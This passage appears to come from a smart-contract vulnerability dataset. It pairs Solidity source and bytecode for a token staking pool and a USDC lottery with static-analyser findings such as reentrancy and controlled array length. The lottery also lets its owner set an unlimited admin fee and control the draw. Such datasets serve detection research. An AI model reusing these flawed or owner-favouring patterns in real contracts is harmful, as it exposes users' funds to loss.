ff16815260200191505060405180910390a15050565b60007f2bbac3e52eee27be250d682577104e2abe776c40160cd3167b2463393310043360010290508181555050565b60006108ba826109a7565b151561097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260438152602001807f43616e6e6f7420736574206e657720696d706c656d656e746174696f6e3a206e81526020017f6f20636f6e747261637420636f646520617420636f6e7472616374206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b7fa490aab0d89837371982f93f57ffd20c47991f88066ef92475bc8233036969bb60010290508181555050565b600080823b9050600081119150509190505600a165627a7a72305820217a0189de99c2ae3f5c53cbbfaa4b7eab27fae03ef8b58703719d284bb86dcc0029a165627a7a72305820626b45ad8da326509f1708491e4fca6cd13a5ede4f8aa22264d0b86194059c6c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,596 |
0xcE3C82153Ef6c0e1A6C4d277A03C60c706F2EA46
|
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call.value(amount)("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
contract LPTokenWrapper is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public BUND = IERC20(0x8D3E855f3f55109D473735aB76F753218400fe96); // Approve and Transfer for Stake and Withdraw
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
BUND.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
BUND.safeTransfer(msg.sender, amount);
}
}
contract StakeBUND is LPTokenWrapper {
IERC20 public bundNFT = IERC20(0x92B3367515a7D2dF838c2ccD9F5e1Fc07D977C20); // Must be changed with Presale
uint256 public constant duration = 30 days;
uint256 public starttime = 1614749400; //-----| Starts immediately after deploy |-----
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
bool firstNotify;
uint256 rewardAmount = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Rewarded(address indexed from, address indexed to, uint256 value);
modifier checkStart() {
require(
block.timestamp >= starttime,
"BUND_BUNDNFT staking pool not started yet."
);
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
}
function withdraw(uint256 amount)
public
updateReward(msg.sender)
{
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
}
// withdraw stake and get rewards at once
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender){
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
bundNFT.safeTransfer(msg.sender, reward);
}
}
function permitNotifyReward() public view returns (bool) { //-----| If current reward session has completed |---------
if(block.timestamp > starttime.add(duration)){
return true;
}
}
function notifyRewardRate(uint256 _reward) public updateReward(address(0)) onlyOwner{
require(permitNotifyReward() == true || firstNotify == false, "Cannot notify until previous reward session is completed");
rewardRate = _reward.div(duration);
firstNotify = true;
lastUpdateTime = block.timestamp;
starttime = block.timestamp;
periodFinish = block.timestamp.add(duration);
}
}
|
0x608060405234801561001057600080fd5b50600436106101725760003560e01c80637b0a47ee116100de578063a694fc3a11610097578063df136d6511610071578063df136d6514610569578063e9fad8ee14610587578063ebe2b12b14610591578063f2fde38b146105af57610172565b8063a694fc3a146104ff578063c8f33c911461052d578063cd3daf9d1461054b57610172565b80637b0a47ee146103e157806380faa57d146103ff5780638b8763471461041d5780638da58897146104755780638da5cb5b146104935780638f32d59b146104dd57610172565b80632e1a7d4d116101305780632e1a7d4d146102f75780633d18b912146103255780633d52f5931461032f5780634041ef411461035157806370a082311461037f578063715018a6146103d757610172565b80628cc262146101775780630700037d146101cf5780630fb5a6b414610227578063117003fe1461024557806312e9df591461028f57806318160ddd146102d9575b600080fd5b6101b96004803603602081101561018d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105f3565b6040518082815260200191505060405180910390f35b610211600480360360208110156101e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106da565b6040518082815260200191505060405180910390f35b61022f6106f2565b6040518082815260200191505060405180910390f35b61024d6106f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61029761071f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e1610745565b6040518082815260200191505060405180910390f35b6103236004803603602081101561030d57600080fd5b810190808035906020019092919050505061074f565b005b61032d6108b6565b005b610337610a47565b604051808215151515815260200191505060405180910390f35b61037d6004803603602081101561036757600080fd5b8101908080359060200190929190505050610a75565b005b6103c16004803603602081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cbb565b6040518082815260200191505060405180910390f35b6103df610d04565b005b6103e9610e3d565b6040518082815260200191505060405180910390f35b610407610e43565b6040518082815260200191505060405180910390f35b61045f6004803603602081101561043357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e56565b6040518082815260200191505060405180910390f35b61047d610e6e565b6040518082815260200191505060405180910390f35b61049b610e74565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e5610e9d565b604051808215151515815260200191505060405180910390f35b61052b6004803603602081101561051557600080fd5b8101908080359060200190929190505050610ef4565b005b6105356110b6565b6040518082815260200191505060405180910390f35b6105536110bc565b6040518082815260200191505060405180910390f35b610571611154565b6040518082815260200191505060405180910390f35b61058f61115a565b005b610599611175565b6040518082815260200191505060405180910390f35b6105f1600480360360208110156105c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117b565b005b60006106d3600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106c5670de0b6b3a76400006106b76106a0600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106926110bc565b61120190919063ffffffff16565b6106a988610cbb565b61124b90919063ffffffff16565b6112d190919063ffffffff16565b61131b90919063ffffffff16565b9050919050565b600d6020528060005260406000206000915090505481565b62278d0081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b336107586110bc565b600981905550610766610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610833576107a9816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600082116108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b6108b2826113a3565b5050565b336108bf6110bc565b6009819055506108cd610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461099a57610910816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006109a5336105f3565b90506000811115610a43576000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a423382600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114a39092919063ffffffff16565b5b5050565b6000610a6162278d0060055461131b90919063ffffffff16565b421115610a715760019050610a72565b5b90565b6000610a7f6110bc565b600981905550610a8d610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610b5a57610ad0816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b62610e9d565b610bd4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515610be0610a47565b15151480610c01575060001515600a60009054906101000a900460ff161515145b610c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cf66038913960400191505060405180910390fd5b610c6c62278d00836112d190919063ffffffff16565b6007819055506001600a60006101000a81548160ff0219169083151502179055504260088190555042600581905550610cb162278d004261131b90919063ffffffff16565b6006819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d0c610e9d565b610d7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b6000610e5142600654611574565b905090565b600c6020528060005260406000206000915090505481565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b33610efd6110bc565b600981905550610f0b610e43565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fd857610f4e816105f3565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600554421015611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611d54602a913960400191505060405180910390fd5b600082116110a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b6110b28261158d565b5050565b60085481565b6000806110c7610745565b14156110d7576009549050611151565b61114e61113d6110e5610745565b61112f670de0b6b3a7640000611121600754611113600854611105610e43565b61120190919063ffffffff16565b61124b90919063ffffffff16565b61124b90919063ffffffff16565b6112d190919063ffffffff16565b60095461131b90919063ffffffff16565b90505b90565b60095481565b61116b61116633610cbb565b61074f565b6111736108b6565b565b60065481565b611183610e9d565b6111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6111fe8161168f565b50565b600061124383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d3565b905092915050565b60008083141561125e57600090506112cb565b600082840290508284828161126f57fe5b04146112c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d7e6021913960400191505060405180910390fd5b809150505b92915050565b600061131383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611893565b905092915050565b600080828401905083811015611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113b88160025461120190919063ffffffff16565b60028190555061141081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a03382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114a39092919063ffffffff16565b50565b61156f838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611959565b505050565b60008183106115835781611585565b825b905092915050565b6115a28160025461131b90919063ffffffff16565b6002819055506115fa81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168c333083600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ba4909392919063ffffffff16565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611715576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611d2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290611880576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561184557808201518184015260208101905061182a565b50505050905090810190601f1680156118725780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061193f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119045780820151818401526020810190506118e9565b50505050905090810190601f1680156119315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161194b57fe5b049050809150509392505050565b6119788273ffffffffffffffffffffffffffffffffffffffff16611caa565b6119ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310611a395780518252602082019150602081019050602083039250611a16565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611a9b576040519150601f19603f3d011682016040523d82523d6000602084013e611aa0565b606091505b509150915081611b18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115611b9e57808060200190516020811015611b3757600080fd5b8101908080519060200190929190505050611b9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611d9f602a913960400191505060405180910390fd5b5b50505050565b611ca4848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050611959565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015611cec5750808214155b9250505091905056fe43616e6e6f74206e6f7469667920756e74696c2070726576696f7573207265776172642073657373696f6e20697320636f6d706c657465644f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342554e445f42554e444e4654207374616b696e6720706f6f6c206e6f742073746172746564207965742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582021e04d350deafdcd1944a122a60b2ecf2dd1e1ce1214d5a5c68726416444e9c264736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,597 |
0xd88d761a0329c12cbb12e5689170363f825055fc
|
pragma solidity ^0.6.9;
//SPDX-License-Identifier: UNLICENSED
library SafeMathChainlink {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
}
contract VRFRequestIDBase {
function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed,
address _requester, uint256 _nonce)
internal pure returns (uint256)
{
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
function makeRequestId(
bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
abstract contract VRFConsumerBase is VRFRequestIDBase {
using SafeMathChainlink for uint256;
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal virtual;
function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed)
internal returns (bytes32 requestId)
{
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed));
uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]);
nonces[_keyHash] = nonces[_keyHash].add(1);
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface immutable internal LINK;
address immutable private vrfCoordinator;
mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces;
constructor(address _vrfCoordinator, address _link) public {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CandorFiv2 is VRFConsumerBase{
uint[] private entryArray;
address[] public userAddresses;
address public owner;
uint public totalEntry;
uint public round;
address[] public winners;
uint[] public winningNumbers;
uint public ticketPrice = 10 * 1e6; // 10$ ticket price (6 decimals)
uint public poolLimit = 200000 * 1e6; // 200000$ pool limit
uint public adminFee = 50; // 50% admin fee
uint[10] public rewardArray = [5000,2500,1000,700,300,100,100,100,100,100]; // Change here (Prize % with an additional 0)
IERC20 public token;
bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
uint internal fee;
uint public randomResult;
uint public oldRandomResult;
struct User{
bool isEntered;
uint totalEntries;
bool isPicked;
}
modifier onlyOwner{
require(msg.sender == owner,"Only owner allowed");
_;
}
mapping(uint => address) public entryMapping;
mapping(uint => mapping(address => User)) public userInfo;
event RandomNumberGenerated(bytes32,uint256);
event EntryComplete(address,uint,uint);
event WinnerPicked(address[],uint[]);
function setTicketPrice(uint value) external onlyOwner{
ticketPrice = value;
}
function setPoolLimit(uint value) external onlyOwner{
poolLimit = value;
}
function setAdminFee(uint value) external onlyOwner{
adminFee = value;
}
function withdrawLink(uint value) external onlyOwner {
require(LINK.transfer(msg.sender, value), "Unable to transfer");
}
function transferOwnership(address newOwner) external onlyOwner{
owner = newOwner;
}
//Mainnet network
constructor() VRFConsumerBase (
0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, //VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA //LINK token
) public {
fee = 2000000000000000000; // 2 LINK
owner = msg.sender;
token = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC contract address
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
randomResult = randomness;
emit RandomNumberGenerated(requestId,randomResult);
}
function getRandomNumber() public onlyOwner returns (bytes32 requestId) {
require(LINK.balanceOf(address(this)) > fee, "Not enough LINK - fill contract with faucet");
winners = new address[](0);
winningNumbers = new uint[](0);
return requestRandomness(keyHash, fee, getSeed());
}
function enterLottery(uint256 amount) external {
require(amount >= ticketPrice && amount <= (poolLimit / 10),"Invalid amount!"); //Change here
require(!userInfo[round][msg.sender].isEntered,"Already entered!");
require(token.allowance(msg.sender,address(this)) >= amount,"Set allowance first!");
bool success = token.transferFrom(msg.sender,address(this),amount);
require(success,"Transfer failed");
require(token.balanceOf(address(this)) <= poolLimit,"Pool already full");
uint ticketCount = amount.div(ticketPrice);
require((totalEntry + ticketCount) <= (poolLimit / ticketPrice),"Buy lower amount of tickets");
userInfo[round][msg.sender].totalEntries = ticketCount;
userInfo[round][msg.sender].isEntered = true;
entryArray.push(totalEntry);
entryMapping[totalEntry] = msg.sender;
totalEntry += ticketCount;
userAddresses.push(msg.sender);
emit EntryComplete(msg.sender,amount,ticketCount);
}
function pickWinner() external onlyOwner{
require(userAddresses.length >= 10,"Atleast 10 participants"); //Change here
require(totalEntry >= 50,"Minimum 50 tickets sold");
require(oldRandomResult != randomResult,"Update random number first!");
uint i;
uint winner;
address wonUser;
uint tempRandom;
uint totalBalance = token.balanceOf(address(this));
token.transfer(owner,(totalBalance * adminFee) / 100);
totalBalance -= (totalBalance * adminFee) / 100;
while(i<10){ //Change here
winner = calculateWinner((randomResult % totalEntry));
wonUser = entryMapping[winner];
winners.push(wonUser);
winningNumbers.push(randomResult % totalEntry);
token.transfer(wonUser,(totalBalance * rewardArray[i]) / 1000);
i++;
tempRandom = uint(keccak256(abi.encodePacked(randomResult, now, i)));
randomResult = tempRandom;
}
emit WinnerPicked(winners,winningNumbers);
oldRandomResult = randomResult;
